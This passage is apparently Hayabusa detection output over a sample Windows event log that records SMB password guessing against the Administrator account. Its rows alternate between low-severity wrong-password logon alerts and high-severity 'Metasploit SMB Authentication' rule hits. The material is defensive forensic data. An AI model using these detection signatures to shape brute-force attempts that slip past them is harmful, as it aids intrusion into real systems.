Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.023 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: f2sauqNlJi3y0ZBk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.023 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.060 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bkih5QcLlcjw9gjg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.060 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.104 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3KlUJslcpS9jhLY4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.104 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.149 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: riuVWV1Ugr9c22hR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.149 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.189 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5OSj1I0sXkPf96OL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.189 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: KsOJDxDiZSjoBj6F : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.229 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.269 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: uH0bQ9zEi1xcfHn3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.269 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.308 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3AfNT0p4JC1VEfDd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.308 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.353 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: S7T8R8U1WVHZQrYk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.353 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.388 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: kamexpa7isWT8gLC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.388 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.437 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8CyHFKVcdTo0Upx3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.437 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.480 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: U30aMcZuBD08GWK1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.480 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4mihftSCNCYdlBny : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.527 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.553 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: K2wa0xwK6tnurGJQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.553 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.588 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 0V3TbNrKEnrDcEYt : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.588 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.629 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: T73JW9JURm8Br6MA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.629 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.673 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: OAleyg3h8aMvVVJk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.673 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.713 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1LQllnWZFUIWa6rw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.713 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.757 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: hlwPxSGUmvYH0rpL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.757 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.801 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VrI56o5TyeO48rQV : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.801 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CKRMn75tv5Yi5rYK : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.845 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.889 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MbJvec7rVisJ6WCC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.889 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.929 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xoubp5WTPqblBaps : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.929 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.965 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: rBczkR92cKY41icQ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:43.965 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.005 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MfUx3OizEb1LiOzj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.005 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SRaSOLOWhBEr0qkz : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YnlI8Zh4td5m1fpx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.129 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: wXUDXDa4wi3HivKo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.129 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.174 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: TT7iOtVMFcEysCcI : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.174 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.229 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 1NJpI7KC3gj99aWs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.229 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.333 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H39cv9JEuLEjlp93 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.333 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.389 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4p9h1cjLeUzppSZb : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.389 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.424 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: E0fOpi4vr55QmO6x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.424 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.472 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GiKI4V6kpkY5zc9x : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.472 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.513 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dLmu4n9qZdf3Q5zo : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.513 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.547 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 87iJdX2E0ZJintvr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.547 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.592 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nxc4iIHP0kdqQNiG : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.592 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.637 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: RJIWekwBwcIUWjD1 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.637 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.686 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: GdnvboiIDzXTZ8MR : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.686 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.740 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QGMPHNpljTlMYeet : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.740 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.794 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: pWo4uVFtAbe4IjKC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.794 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.845 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YAPdDqbMY4rYiuZ3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.845 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.896 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ai2WCQ3MkWwSeOy9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.896 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.946 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ey1wbsD7w3fs02xP : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.946 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.983 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sVGzidwZICNfLizg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:44.983 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.029 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8zjGPMJ6RBw48Ejx : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.029 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.071 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MydK8AjPvyyckCEL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:52:45.071 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 